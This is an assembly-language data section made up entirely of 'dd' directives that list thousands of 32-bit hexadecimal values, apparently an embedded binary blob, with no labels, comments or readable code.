dd 0DC004E38h, 24765127h, 0E66F47F6h, 81AB01A8h, 69B01BE3h
dd 6D6E2F0Fh, 0F5A5C500h, 10AEBF3h, 17319510h, 16EB24Bh
dd 0DDA27B97h, 64F46B11h, 4A6E002Ah, 29CBC704h, 839261BDh
dd 4A880D38h, 41800CDEh, 6814A782h, 0E702CE77h, 958B3EB7h
dd 91D358CDh, 7AA78040h, 6A882440h, 73B6C101h, 6763C9ACh
dd 0D665D121h, 50B77420h, 407DFDDAh, 8B395021h, 3180DC2h
dd 0A5E308C1h, 5819E359h, 0C1F0EE76h, 0D103CBABh, 593E299Ch
dd 2FFCD4CAh, 69237280h, 38005CA3h, 4D2208F5h, 5BF35BAh
dd 3D7CD0E6h, 199AC15Fh, 66222E14h, 9D23218Fh, 0BC38635h
dd 590DA9BDh, 0D7FCC9B8h, 6B4A8F09h, 0E98E823Dh, 2F345226h
dd 4C3D4E4Bh, 0EB33101h, 0BA8889CEh, 0F9042E11h, 6EBBE1FFh
dd 12A3CC5h, 8C92392h, 0B093CF46h, 0D966B569h, 9C98C211h
dd 85820402h, 1022FE00h, 520D0401h, 9C009B6Fh, 3CE014BFh
dd 0A52B773h, 0F030630h, 153A786h, 0FADBC381h, 7560197Dh
dd 3F026F1Fh, 783DB529h, 0E180126Dh, 0E752B604h, 0BD522220h
dd 0E7262F95h, 23456CC0h, 0CFC90A80h, 22963FEEh, 0E454CDA9h
dd 0DC122Eh, 2F3220E4h, 0DC62A012h, 33FCBB06h, 90578D85h
dd 28B125BAh, 0DE103271h, 18C1AFCh, 0F4AFBE1h, 961B0E56h
dd 3395EDDCh, 4E36FABh, 0E3C72C8Ah, 0CE8080A8h, 0F6D064B0h
dd 0FE9E1B01h, 0ADFA6DAEh, 7A50203Fh, 38000206h, 0A43070ABh
dd 580F9E2Bh, 0F2960E89h, 811E7BEAh, 0BB0079F9h, 0E6B5CE22h
dd 69AD025Ch, 5BF28B45h, 0EB688A80h, 8A7250EDh, 0CDBB5200h
dd 0F6E82ADh, 1D05B731h, 0C19DECFAh, 81585A61h, 1614A540h
dd 0F7577CEh, 30ED7DCBh, 588AC733h, 908B0F09h, 710960DCh
dd 0D1175A85h, 42A19D4h, 0C09EBA8h, 0F67815BDh, 100E69F3h
dd 17F801E5h, 0A70B068Ch, 8AF5E107h, 0C69D015Ch, 0A2710485h
dd 0F50D0392h, 761882C7h, 0D903F6E8h, 8D0FBA12h, 0FA194806h
dd 0F91D6D18h, 7BD608B5h, 0F4DA5906h, 2399258Eh, 0B6D11FDBh
dd 60238D3Fh, 1640A9D1h, 0B7897CF8h, 521F53B7h, 16AB2601h
dd 0D83E0FEBh, 1D7EBDD6h, 0FB6C4182h, 0A993E822h, 0FE74A85Ah
dd 0B12D05BEh, 14168B59h
dd 0C84A0C95h, 4094692h, 0A2A19509h, 0C1609656h, 691313ECh
dd 85FA1580h, 44C96700h, 0EE92FC97h, 7BBD0070h, 596E0BB0h
dd 61035E5Fh, 0C1ABBF50h, 0B196DB3Eh, 38C8078Dh, 0DB549FFh
dd 0F2C1F55Ch, 6F4078B0h, 920C7F20h, 59CE00DEh, 7711F1FAh
dd 5412D368h, 9A004CFDh, 243481DAh, 0E257302Ch, 0BD53BF14h
dd 8DFB1CC4h, 0B97D7889h, 0D0F9C6BCh, 735A519Ah, 3902909h
dd 0C3FE8AE0h, 25701231h, 25D61F8Fh, 90766902h, 9CE079CDh
dd 87FF3C9h, 828E018Ch, 2B03B908h, 3751A5F8h, 13F58584h
dd 393F4914h, 649F61C0h, 4380097h, 0CE95153Dh, 8E75EA26h
dd 6185C72Ch, 9B3A266Dh, 0DA7AC010h, 0E660AF80h, 0DFA65CEAh
dd 8712B518h, 9716D9BFh, 9A10576Fh, 0DA4993C7h, 0F174180Dh
dd 22E98110h, 0CAB70358h, 390C3050h, 18744A8h, 0AC10E8C1h
dd 4CE0020Eh, 584A03FCh, 0EBE7C643h, 81367736h, 857B0E64h
dd 29501B8Ch, 1821D028h, 1135833h, 651B5742h, 0AD9BC0BCh
dd 0FD4112C0h, 233CA6FBh, 0B75C0B7Dh, 0C071EDC8h, 511B3F47h
dd 61A0825Ah, 52F45CA5h, 47B85A0h, 0BBBD9Dh, 0D736DD1h
dd 4BFF4548h, 5F4C30E7h, 241F8BBFh, 20F35894h, 2960A112h
dd 38B05F3Fh, 2FD31869h, 1FA86078h, 42E382E5h, 0BE97E67Eh
dd 666C4C2h, 345DB510h, 26D8C725h, 0A604D6h, 0F0F340E1h
dd 0ED1E4A21h, 16908D89h, 0F0026948h, 502CC2F6h, 8BA422DFh
dd 0FC0863F9h, 1C6EBBh, 0AE115658h, 2CD32DEh, 0C780D6FBh
dd 0A2C160FDh, 1FE81518h, 0E30A9F80h, 92039B0Ch, 4D8DFFA3h
dd 0CF04F84Bh, 2501E836h, 0A4935AD4h, 0ADF778F8h, 84CFA200h
dd 295026E4h, 61402BAAh, 316D27D9h, 3B8EB8C0h, 23A50183h
dd 290D67BBh, 0E1FF416Ah, 5E7A2E1Ah, 0D0A6900h, 0DD0FFFBFh
dd 92226049h, 0AB4BBC05h, 30398F81h, 8F58CC04h, 0C70054FCh
dd 10CD591Bh, 0EEABB1AFh, 0C592053Dh, 2D648E8h, 1D7D8D81h
dd 868DE554h, 0DB2F41C4h, 0C0C580E0h, 2642AF8Bh, 8CD726Eh
dd 9A2531B9h, 10097C6Fh, 0C0662F0Eh, 2D04C235h, 0BD489D33h
dd 0F94B9589h, 20505ED1h, 0C2CD9B3Eh, 0C05F5101h, 82D0EA8Bh
dd 208468C3h, 0C4343DBDh, 0BEB88669h, 3007F7Bh, 14B261F5h
dd 5E371235h, 0E146038h, 18F2E6A3h, 14E27330h, 9EABDDCCh
dd 56198510h, 6057255Ch, 0B8565F12h, 5BDB2F9Bh, 0C3800A98h
dd 57500812h, 410127F2h, 7E70D902h, 50E422BAh, 90D65FE2h
dd 3FA63117h, 4B18DEE0h, 0D9521DB8h, 1A093B52h, 42BD1BC9h
dd 0F6B2F68Dh, 85E28217h, 0D300D9A2h, 3D9FD631h, 0A2004F4Eh
dd 0BBE305A9h, 26E44C68h, 4DF5B53h, 25121189h, 90B8FEDh
dd 0EC41DD85h, 2D89F550h, 8D602B9Ah, 0B4B86601h, 9055610Bh
dd 2D01C216h, 2FED9D03h, 0FF41CB4Ah, 310214F5h, 126A1355h
dd 0F72AA5FEh, 3EEDA024h, 5D8FE35h, 0DC0DBF4Bh, 74E2ACh
dd 0B1DA15E0h, 0E23174E8h, 4CDE528Bh, 5CE2B863h, 0C9B1882Ah
dd 457984B3h, 1A7FD070h, 0EB6D8589h, 0DF41B406h, 90B40250h
dd 177A6AE1h, 0C4B5C113h, 0A976822Ah, 0D12B717Ch, 845F78h
dd 0B80FCCF4h, 8018A160h, 56E0EF26h, 35CF7115h, 9CA630C6h
dd 3355C0E1h, 0FA38C3h, 9DFBC2BCh, 0EDDF97h, 68E5CE52h
dd 0E451A599h, 66625D02h, 75CC5ABFh, 0A1010584h, 0BD40A57Eh
dd 494F004Fh, 0F1E97CA3h, 7A83F25Eh, 5CC192FEh, 5CA2E892h
dd 38501546h, 0F1953429h, 0DFCE09ABh, 1AD71262h, 3C9DB341h
dd 0CEFB308h, 748EDF9Eh, 0FB6BC227h, 946999F5h, 156BF1C4h
dd 80906132h, 0CB1AEFBCh, 843EF7C5h, 0BB4005E8h, 2B575C24h
dd 6F3D97h, 6268088Bh, 0F30A3794h, 0ABF1542Dh, 1647E205h
dd 6E82F69Eh, 0A684376Ah, 0CDF3C1FAh, 16366902h, 88E81A15h
dd 4510B694h, 0B390091Ch, 0A733D67Bh, 0D80015B7h, 0BFA1CC26h
dd 616318CFh, 85294878h, 4A14C549h, 0C986AB20h, 9BB53F35h
dd 0AB1D3E86h, 3F9A2E67h, 0B58CEEB5h, 4F4374CDh, 0EDFA0563h
dd 0F28C0F57h, 25BF389Ch, 0A20EE63Ah, 80707CDAh, 62BBD1FFh
dd 554B9210h, 7B22CB8Ah, 9FF3811Fh, 4977B8C8h, 22518AF3h
dd 89CC5FF5h, 0C7FD598Dh, 0BF80865Ch, 55660D35h, 0CB47790h
dd 0C5A44D2Fh, 66E299A5h, 0E39DF381h, 5E0D9AE9h, 47EC5809h
dd 8D416681h, 0B2281455h, 0CD965780h, 0A300CF97h, 5E379EAh
dd 0E529F45h, 3554C198h, 0B85FFCA4h, 9DE6D3FAh, 0F30DB4E0h
dd 12F97B0h, 0E681B017h, 87A100A9h, 7AB257F9h, 210B67ADh
dd 61903E8Bh, 813C5021h, 6EDA073Ch, 0C2D70010h, 4AB7CED4h
dd 0F109E6A3h, 0B3546C7Fh, 10CC8C48h, 0CC4A2031h, 0C30381E7h
dd 4F22CAFDh, 0D781EC6Ah, 299721CDh, 41D7B5B5h, 142AD55Fh
dd 4EC8AEACh, 3FF1A7h, 0B77B2A9Bh, 0D916FA71h, 0C8E8BAB8h
dd 0B1B05BC4h, 81AA61FFh, 2B70E612h, 4A75AD9Dh, 8A05C230h
dd 90CBF500h, 7162E4FCh, 924D536h, 0E60A55Ah, 0A888BB81h
dd 86494B5Eh, 0D927B2A4h, 20E05320h, 982998BEh, 9F1EA62Eh
dd 427DC946h, 80E3DE00h, 0D633271Eh, 3CB21859h, 0F04325Bh
dd 92088A48h, 9E0009A2h, 2594A8F9h, 3B0098FCh, 53A66BA5h
dd 2570F510h, 0BCC2779Ah, 9D04BA56h, 0B22530B1h, 0B5B34A69h
dd 1603FD00h, 5BD88B73h, 0DA65E95Bh, 559C5A9h, 80951520h
dd 8D2960B1h, 0F15C7A5h, 20572A82h, 0F9351E34h, 30AF0015h
dd 4EE59C6Dh, 0C140616Bh, 482EFBCFh, 0E1A010C2h, 0E98AD796h
dd 0C761CF54h, 8D2BEFDFh, 0D12C8869h, 34091214h, 88C3AC93h
dd 8129BB34h, 0D96C60A6h, 5C00D0AAh, 381D4DD7h, 1F913CCh
dd 43360E4Bh, 42A5839Eh, 0EA81FE37h, 6E890CE0h, 0DC8A5121h
dd 1ACA612Eh, 617209DDh, 5C3015B2h, 0B93AD70Eh, 16D6BC01h
dd 5EFF8E3h, 0C156FB99h, 21D6949h, 68D55C5Bh, 31D960D3h
dd 1F0357Ch, 9D799C1Ch, 0E47B945h, 52116EE4h, 0FC27AD26h
dd 85C0946Dh, 0B921E246h, 0B5C5806Ah, 305B692Bh, 0A29BFC5Bh
dd 0C02B9282h, 380375Dh, 0BAF7E2F4h, 0B0EFE784h, 0BC1DB09h
dd 0D59C3D35h, 0F5C37C2h, 506B53DAh, 0EC00EFC6h, 0E6AE296Ch
dd 0B5496487h, 2A5561h, 256BABBFh, 0C1C42B3Bh, 0F637B7h
dd 2BB60933h, 69025BB0h, 0CB80F3ABh, 0B25479C4h, 0B45CDAE2h
dd 0DCB6F46Bh, 0D48B6709h, 5ACA71D1h, 2FD1428Ah, 544B7DEFh
dd 0B030967Dh, 53802785h, 0BC14975Bh, 97F95044h, 265CB112h
dd 958E6E25h, 0FB405EEDh, 1052FBBh, 51953529h, 6409BD89h
dd 90B75B1Fh, 0E0B598C8h, 4FA100E1h, 52D855DFh, 30F3FFCBh
dd 0FD25E786h, 167DC586h, 0ECCBFD76h, 697507D2h, 47E6283Dh
dd 8BC3A08h, 0C22F3481h, 254374CFh, 5411AA65h, 5085C85Fh
dd 40940502h, 0C3A561BEh, 5F498410h, 0FE449A71h, 0C4BDC255h
dd 8D070BE5h, 8985B121h, 5063D259h, 25F79860h, 0BEC27064h
dd 4070FFF3h, 0CC3709C7h, 1D8B560h, 7B0166BFh, 13752509h
dd 0F9B1E8CCh, 72181571h, 0C5BA7D50h, 0E2322EF9h, 0C3CC2C5Eh
dd 603E9A0Bh, 0D6E81851h, 0BCB800BBh, 9C3FB2DAh, 5A718A5Fh
dd 85295309h, 5BDD22FDh, 0D61B5661h, 1A001C46h, 94400AEAh
dd 9B0963DDh, 79F88A7Bh, 70F3A704h, 1FD6970h, 27B4CE93h
dd 0E20FB7F9h, 90FFB580h, 7FE36050h, 0BF569ECCh, 0B6F4CA43h
dd 6498E0A9h, 7B2D3C38h, 8FBE6001h, 4143A284h, 40779BFh
dd 85C8971Dh, 0DFE04F03h, 7A325868h, 0C2E1348h, 8EEDBB8h
dd 611E255Bh, 31A74260h
dd 64136525h, 5CB40068h, 8170C29Bh, 0AD3A47D4h, 0AC46AC72h
dd 0F065D102h, 62EC54DCh, 0DB8A9D23h, 5E4DA5BDh, 7F601844h
dd 5A021C0Dh, 0E9C1B763h, 35284AEDh, 0A36B8027h, 5653FC66h
dd 0BD316016h, 0C960FCB5h, 0A6B7DEA1h, 944E3F38h, 9601B809h
dd 0C9BD88B9h, 5628808h, 1DCA251Eh, 2FD04C7Bh, 0EE8225Bh
dd 0AA0B8C00h, 0A8D2A15Ah, 149A00A7h, 2D54B91Dh, 5B4BF98Ah
dd 6E3B26CDh, 1633C72h, 0E16D5F35h, 822B19C4h, 9F91174Ah
dd 2ECF750Dh, 9D0B5130h, 56C1BA75h, 0E9E03D89h, 0ED045DB1h
dd 35A43AD8h, 2E096E81h, 0AB890302h, 114CD962h, 1C408BB6h
dd 816B1Eh, 2DBB703Dh, 5B77C667h, 42BF6609h, 0B7167808h
dd 60808C37h, 1EB4007h, 0C0611673h, 0CBFEA997h, 4C2EC2DFh
dd 1D1A9702h, 84EB6Bh, 0E92F6B68h, 870F254Fh, 0C8A50C79h
dd 2D2C9412h, 5A5B4FF6h, 42DC70h, 0FAA1728Dh, 6A349469h
dd 7E406B94h, 25EDB119h, 3BE65004h, 6CBB660Fh, 7EC473B6h
dd 85959D04h, 9B7FFB99h, 7AAD80D5h, 69A43Eh, 0B7473DEEh
dd 0B58961D4h, 0B12F15Eh, 1CBF1B2h, 75294089h, 0DE4BE151h
dd 934D25CCh, 99B80EE0h, 31DA0D95h, 631D2BE9h, 6112006Fh
dd 4275C5B1h, 21271C6Ch, 0F1C7E5CBh, 961A9F5Ch, 71E0A04Dh
dd 49A7FEC9h, 2B2EC280h, 0D25652AAh, 60042911h, 0A0E5B50Bh
dd 0C9028152h, 6E665D44h, 2DDD9661h, 925B040Eh, 2E1DFD1h
dd 5B707E8h, 2767835Dh, 5B95F766h, 5A290EF0h, 14C17A20h
dd 25A63967h, 4405EFC9h, 7BC4601Bh, 1CED0459h, 0F865903Ah
dd 0CE0980CCh, 5B3892h, 5A0EB91h, 0DB042EA4h, 58883212h
dd 9A4B0CF7h, 0C2E897BBh, 3248F094h, 2E686E4Bh, 29827AC5h
dd 5431C99Dh, 666DEB9Eh, 934B8CC0h, 0BE35979Ch, 90801A91h
dd 6FE43BA9h, 0BF982D01h, 24257A6Ch, 0D728DF59h, 9A951620h
dd 5107C1C4h, 0B52E523Eh, 80B91EABh, 9C8AA9F1h, 860F25B8h
dd 0DF9393D9h, 6E6A588Dh, 89DC0E62h, 0D464CBDBh, 4A271064h
dd 5CF8C9C2h, 5B6D25BEh, 0A8E346C0h, 8B58126Eh, 49C1E3FEh
dd 0F40BDB6h, 569DADDh, 618D01B4h, 9DB14303h, 0D122D21h
dd 0E8E33585h, 0B934B993h, 0F540207Ah, 79709531h, 0EEE135A1h
dd 19445C4Fh, 89139C60h, 0D673A017h, 9060FA8Ch, 45D2032h
dd 518E0F27h, 61DF80E1h, 0BF525096h, 3E4A4C09h, 41C7D02Fh
dd 67E0F7FBh, 6925CC9Bh, 20B796h, 31F130Ah, 2B098FF8h
dd 7A0F259Dh, 184145D1h, 8D3E2980h, 0F38B4B25h, 0F6AC4159h
dd 95ED0800h, 0DA74DBD6h, 7A05657Ah, 0B2C35209h, 3E318DEAh
dd 0C213DB2Eh, 64193634h, 950C86Dh, 8005BEABh, 7B53CBE3h
dd 0F9F2AEF6h, 75CF8E2h, 2096026Bh, 582E92CEh, 4C7BF4EDh
dd 19102D87h, 0CE61252Ch, 2935B5E0h, 0E7EDD204h, 78A7D9B8h
dd 808AD1A7h, 0B4462FE6h, 5026E3Fh, 4D44CF62h, 3EC4E8h
dd 15AA6C17h, 0D4162A5Ch, 4BB3200h, 0B1FC0C96h, 8E5A679Ah
dd 0C12716B5h, 0E2E89A95h, 13BE565Bh, 0A1171289h, 8A2D2B80h
dd 6A007833h, 1D1EB6A2h, 0CE0013CBh, 0F2871434h, 767ED52h
dd 0F33AE9E1h, 315419FFh, 3B94B640h, 4DF82561h, 0BFC0FE74h
dd 9661597h, 0C18B5F7Ah, 0EE413385h, 0DB2EDD29h, 66B08008h
dd 9555CBBBh, 0A66C5902h, 0A29C9150h, 0AA5619DCh, 7DE93CF8h
dd 0AFF100EFh, 122A6C8h, 26A14ABDh, 4D3072B7h, 5777C86Fh
dd 306EF916h, 0BD38125h, 697D2C14h, 182912D3h, 0F5253AE2h
dd 0E273E729h, 26E50670h, 0A5C4ECB7h, 0E079C873h, 0AD31752Eh
dd 0C876A93Dh, 0B3446025h, 0BE742F0Eh, 0A059FCDh, 1DF2E09Bh
dd 1E5BDF00h, 76A3FBE8h, 938AB60Bh, 0A85C715Fh, 25ED205Ah
dd 9D336104h, 2DAE1681h, 386A2B68h, 58CEAF00h, 0E19D0132h
dd 64E31D4Ah, 0AEB4A346h, 30CB8Ch, 3F43CD8Ah, 0CAABDA27h
dd 0C54FED25h, 2E701AA0h, 13DE6076h, 134E2CE3h, 45670425h
dd 26A0403h, 901278BCh, 0B532AF50h, 74BD9851h, 75B4C0ECh
dd 976AC6Ah, 3090BDA1h, 5325D38Ah, 6492CDAAh, 2BC86016h
dd 0CB30E92h, 0E27297E9h, 5790DC95h, 2CB9C262h, 405F4F5Dh
dd 0A0C692E4h, 9D9D964Bh, 78B0E026h, 1AB0FE72h, 6D5BF1E2h
dd 56AED494h, 0C273E1EDh, 73DE890Fh, 658B1E6Bh, 37BD6DCCh
dd 0B59700CFh, 8B496705h, 25F3A620h, 8ECE1451h, 2571AB5h
dd 202849A4h, 37BBFFFh, 8FB8914Ah, 7F4BA14Fh, 3C02F86Fh
dd 2ACD7B98h, 0F9128BDEh, 0F038B1E6h, 9D332340h, 85B09D39h
dd 1C6275E3h, 0E6021B59h, 0FDBDC070h, 71E48031h, 25252378h
dd 4F9DC626h, 0FEC122C4h, 71289B5Ch, 7CBADE29h, 26108508h
dd 0ABBB0132h, 2E7B5CD7h, 58EC8717h, 49C28A80h, 62006758h
dd 95C7FEE9h, 80A1F8h, 0A5BA5D6Ch, 5B26CFF4h, 0B3850097h
dd 1575142h, 9BD6C381h, 0C45F6B70h, 41F9C82Bh, 303C1CAh
dd 0BFD1B85Bh, 9C461268h, 9247B92Bh, 0F262B8FDh, 855C0781h
dd 0BD08F846h, 1FC5F740h, 0EB6C5682h, 0E9F51AC0h, 2523D44h
dd 92BD37BFh, 18DD5F71h, 259D89A3h, 66CC285Dh, 0B71F2142h
dd 18A514FFh, 0ED8FE2Fh, 43DFA405h, 56019589h, 2A458501h
dd 101D8A2Bh, 0B32FED16h, 575BCAE2h, 0EFF0C071h, 98AB1269h
dd 2F2FE332h, 0DE568F52h, 55B95BC4h, 0E65AC3FCh, 40A4E28Dh
dd 19F4215h, 3118B489h, 2E1D358Dh, 6AEF4A64h, 0CB8D0087h
dd 2CBFD023h, 77932466h, 266D0808h, 609BFC12h, 0FB8B6B80h
dd 3795C02Bh, 18BC0067h, 0EB9D67C9h, 69928C62h, 0D22B0311h
dd 0B119C5C7h, 43DF2AD6h, 0BFC01BC8h, 26FF92Fh, 88826828h
dd 6CD95060h, 0EC454007h, 5894E4C0h, 0E38F05BAh, 0BF610AF3h
dd 8000716Fh, 93E39F1Ch, 48984F54h, 84609295h, 829489A6h
dd 6A5BE7B7h, 0FC6F0031h, 29C9C20Ah, 9D350321h, 598D0161h
dd 2D43ADBDh, 9568F0EDh, 6D1F6DBAh, 2A13EBFh, 0D287342Fh
dd 0C1BF705Eh, 27BB66C1h, 7B2B2E9Bh, 93DEF550h, 380579CDh
dd 4ABD5991h, 6B2272CAh, 0ECDB8102h, 5C67EA27h, 87BB4077h
dd 2D4B66DDh, 9A2F799Dh, 0A04E83C2h, 798E3F8Eh, 0E14EFFC0h
dd 4A007C6Eh, 554CCCE3h, 0E2392797h, 52530078h, 88B5C781h
dd 5F0538B1h, 228D8ACBh, 0A42AC146h, 3E081C90h, 37D48C1h
dd 6B5C6102h, 4D1B0B52h, 39E3C048h, 66095C31h, 8E470B27h
dd 0DA71C288h, 53815C40h, 1C233FDCh, 3CD16B00h, 12D95A72h
dd 58B5758h, 8360F81Fh, 12BC4D02h, 96A81B1h, 5570612Eh
dd 5A6609BFh, 0E8724535h, 3E25CDCBh, 2508464Ah, 46D45160h
dd 0EE95F61h, 0C80AE210h, 0ABF53B28h, 4802547Dh, 11463201h
dd 0A5105C61h, 0A6F4D6DEh, 0CB8102DFh, 26230BF9h, 0EBC4EDE2h
dd 0EEDB795h, 23622A93h, 0B6619008h, 0B946A8Dh, 0C1C0DBBEh
dd 8065A1D7h, 2E3082C0h, 30619AA6h, 1F03FF23h, 0C49F60E0h
dd 2857946h, 0D9F92145h, 5B72E8BDh, 72C09601h, 615BEC16h
dd 6FBA1931h, 453406Bh, 73EEBE03h, 0C43C80BAh, 0A561481Eh
dd 0A4CD5889h, 5773CAC0h, 18F99753h, 4F794E01h, 0D2D01BA7h
dd 0A0250050h, 0D0D6C8BFh, 6A09E328h, 0B64FAEAh, 966BEEC1h
dd 2601D449h, 0D0700B22h, 812BFBE2h, 9DB9C68Ch, 0E2F0BCF8h
dd 971CC58Dh, 567C923Ah, 2B3B2A10h, 4425E937h, 8644AFBEh
dd 49B8F5F9h, 0B9C3BDD3h, 3B9A9DF4h, 4F816C92h, 0BBB62DB5h
dd 20ECE02Eh, 0DB500997h, 4AF8D82Eh, 0D258EE01h, 870FA239h
dd 25BBF94Ch, 49C475E3h
dd 4ADEC09Ch, 28209B7h, 6DA53C73h, 313EC2D3h, 895A5BD0h
dd 643FCDB1h, 0FE268429h, 0FC00477Ah, 0D6843171h, 1F251774h
dd 7C3DC227h, 8008DC4Ah, 609CC0A0h, 74DF284Ch, 0B3AC6E01h
dd 0FE8A5025h, 9B4FE97Ch, 88D08233h, 0A9A15446h, 58582338h
dd 0D2019071h, 7DC16821h, 420F397h, 0A09C4BA0h, 86123E0Fh
dd 6FE80C87h, 77205B8Fh, 0C1558EAAh, 0EBB1EF04h, 6BAE5680h
dd 1172388h, 0CCED0968h, 0B88D3E50h, 4D8BC524h, 818001FEh
dd 3385C1E3h, 4D61762Fh, 0EF77C05Eh, 3309C197h, 711391BDh
dd 5819E96Ch, 87E02F64h, 3A1503C0h, 0F666CD7Fh, 83EC83D5h
dd 0DEF04091h, 0ED3AE057h, 851C9713h, 87E0E45h, 0E9091AD0h
dd 1238511Eh, 0AE5DE3FBh, 496E1650h, 2ABDBD84h, 0DD0411A3h
dd 0B8F572C9h, 0A56DA35Ah, 2BE940A9h, 0D31275B6h, 0BE8A1DDh
dd 33911CBh, 899950Bh, 5303B8EEh, 1C38060h, 7FD5CA09h
dd 0B85B1DA4h, 0DA5ED95Dh, 0BA3D252Eh, 0FC00166Fh, 85B3363Eh
dd 280991C6h, 0E2CD8D09h, 0D62E56A1h, 17171546h, 2BB0808h
dd 84FD8A8Bh, 4CD0F807h, 4AC99D23h, 0E0BA8A20h, 322B775Dh
dd 8598A6A3h, 5BA32977h, 28EDAD1Eh, 0A03BF541h, 7080CCh
dd 93A498BFh, 0CFAE8EBBh, 2198484Bh, 30392285h, 14659D12h
dd 31D51BE2h, 26009DACh, 0B480197Fh, 9C2F3081h, 0D3B5E92Fh
dd 75522A80h, 4BC5CFE9h, 29128043h, 196009BDh, 0F2050B7h
dd 50C6978Bh, 952FAD20h, 0D4D301BAh, 4AA1B50h, 0A99529CAh
dd 0B4F2AC2Ah, 17A82BADh, 0C0E02800h, 0BF6611DCh, 0A2124AFAh
dd 3B7E00A5h, 0B7524C93h, 64AE6CBEh, 44954D80h, 0F82F9BF7h
dd 853F1FC5h, 15DB828Ah, 0F155DFB0h, 700BA869h, 3A968169h
dd 778A5115h, 41C8B729h, 6541C030h, 3D1344E8h, 19458707h
dd 28A0ADEEh, 2717ECh, 0F8B42962h, 0D3B952A6h, 8B80495h
dd 0DB595F09h, 8409A5A4h, 44B45940h, 0E2DEBF3Bh, 7FCCEDDh
dd 0DB6FE240h, 835F0F96h, 5F23F68Ch, 6BA98C0Dh, 2B0E9F10h
dd 0F6FC961Ah, 28FC157Eh, 2CBFB4CAh, 9DB663Fh, 0C559865Dh
dd 7B2F993h, 0E037B696h, 857546h, 0A8383968h, 0FB8B35EDh
dd 54DE9A95h, 142E51C0h, 0C2FDFF09h, 689754DCh, 4A131198h
dd 6DD188h, 468A1B82h, 697FE39h, 5012450Eh, 28C62A5Bh
dd 5925C509h, 0C2E1E9ADh, 30E90027h, 0C4FF71F4h, 102F2116h
dd 0A6D83C8Bh, 99099AC1h, 9D8F5B30h, 915C929h, 5FA9ECFEh
dd 5DA1E822h, 2F9D280Fh, 9591E4DFh, 3C02D8B7h, 606080F3h
dd 0BF34116Eh, 532D766Ch, 2CF5E5B0h, 57B2FCCh, 2B4E78h
dd 69E27EE8h, 0EC1CFFACh, 0A7F96A4Ah, 0CB15EABCh, 59BCF6h
dd 0D7A7DBF7h, 96263EEh, 3977ABCDh, 2314EAF4h, 665583B5h
dd 0BE9BB416h, 7F681BC0h, 0FC506B2Bh, 9979DC3h, 0C21A75B6h
dd 0CC83557h, 0BD7ADFA3h, 92AC549h, 25A59D31h, 0E697901Bh
dd 0F945864Bh, 0A52CC964h, 0F3ADE75Ch, 0DA7978F4h, 0C6E24D25h
dd 400B940Dh, 0F799AAE8h, 86F81431h, 0C0E5A951h, 81CA352Bh
dd 13186DADh, 95A274D1h, 0CC6B8294h, 7003D355h, 283F637Ch
dd 13CF809Ch, 6A5AAE19h, 0DCF4B602h, 0A4D7FD02h, 57237AB0h
dd 8355F5EAh, 7E11E9C1h, 0A297002Bh, 0D15B7821h, 6700D38Ch
dd 0B963DB7h, 9D548D64h, 0C73BC4C4h, 1720C5E8h, 1C920E6Ah
dd 8AA003F1h, 3504701Fh, 58138213h, 5017D3B8h, 82A257h
dd 99C23A06h, 95C6E15Fh, 5B7AFDC6h, 0E49B904Ah, 11178680h
dd 4A2D8BFDh, 18725BFCh, 70072B05h, 356F1C1Eh, 7CAC3896h
dd 5665FE1h, 8A7B04EEh, 0B89DB9D8h, 5A85982Ah, 2A54E111h
dd 0A9A07C8Ah, 0E09F1DB1h, 48DDF9C1h, 1F223450h, 0E566A382h
dd 99911900h, 0B383C90Ch, 0EA2B0020h, 0A44CADD1h, 290A45D7h
dd 0BC5BFE75h, 5BE9AB24h, 69FC50D8h, 6BF2F612h, 3814D249h
dd 0FE1A2ABh, 63E76833h, 0A3C4C3E0h, 65B54609h, 6C532D9Fh
dd 59B19050h, 0A04ABEC6h, 56822692h, 0E0DC4B54h, 48B200F4h
dd 0F0ABB8A0h, 0BA028C62h, 0F380F55Eh, 68545CFAh, 0F9ED12F3h
dd 0ECB47DDBh, 92BA01DCh, 0DA51A34Ch, 0CD3330B5h, 9DD80741h
dd 1E929FD9h, 23768AF7h, 0D6FA00F4h, 21FDBF52h, 309769E8h
dd 82010576h, 9CBCE5C0h, 0F909B070h, 0F56070E6h, 0E2572C1Ah
dd 0E5907D46h, 94009C46h, 0A15D059h, 16A90BE1h, 0ACFC561Ch
dd 0A5D788BAh, 0DF807560h, 0FE370246h, 2EBCA826h, 0EE201CFAh
dd 0A0B4F85Ah, 1D91279Dh, 0A04F2A56h, 870FC82Bh, 6039C00Eh
dd 4C3BD081h, 296A3E03h, 92A3D95h, 0F8D18BB5h, 2D086073h
dd 0A910BB1Eh, 42F1D61Fh, 17098EC2h, 57EB88h, 2D4DE792h
dd 9B1523FEh, 0D1D92504h, 72B9F2E2h, 5562027h, 0A228D9E0h
dd 4F70FCh, 0BDCA5BFBh, 0F80CD2DDh, 970B4E3Bh, 7AF4109Dh
dd 0C6558A3Fh, 4B91B2EEh, 2A82981Dh, 9ED98Ah, 308A1550h
dd 1914D1BEh, 5A21A583h, 0BA61ACA1h, 1267CADEh, 0D3615D81h
dd 8B282E08h, 0DEF75A02h, 0A11081B3h, 9420ACA8h, 85C4B77Dh
dd 0C2056D95h, 1E4101FFh, 0AC302EC1h, 0DAB97AB3h, 7E562ABEh
dd 0C0E1ED27h, 0FDA398D4h, 35B09562h, 83FC0426h, 0D290C035h
dd 0B5709D09h, 711079C9h, 0DE80E937h, 6DDD888Ah, 0DC3A9Eh
dd 53D2BA18h, 0E4BB139Ch, 5B4B70E2h, 9EAA0784h, 0C4188050h
dd 0F364DE6h, 25C1EB80h, 3EF78D93h, 0B37E24h, 5F5D099Eh
dd 6DAD0873h, 303C4726h, 0F9FE52BDh, 0D04167B5h, 3007148Fh
dd 335D27D8h, 61B04EF2h, 285A59E2h, 0C83D49C3h, 55FC10E0h
dd 0E9BF0713h, 0F32B63A1h, 0DA814FAFh, 0CB2AAA76h, 226F22A5h
dd 0E31D05E8h, 82C0CEB2h, 596FC1BBh, 0B85B2609h, 0B9D86455h
dd 8C17AC3Ah, 76575D00h, 0DBDBB92h, 4A424265h, 21A827E9h
dd 3D5D900h, 0B529416Eh, 642A4101h, 464B0E50h, 9E21378Ah
dd 0F059F701h, 282E15A1h, 8786A62Fh, 0A3D5E072h, 16B02EA8h
dd 770B5120h, 922CB10Fh, 8533E2D8h, 4B90436h, 3B04E8E8h
dd 0F18B6055h, 8CFAA584h, 49BD9D06h, 0D7660F5h, 968ACBF0h
dd 2820BA09h, 4D4B8453h, 0F925D0BCh, 32535DC2h, 264A1D70h
dd 968E491h, 0D35621F9h, 405DCDC9h, 1002EE54h, 1BC8EA04h
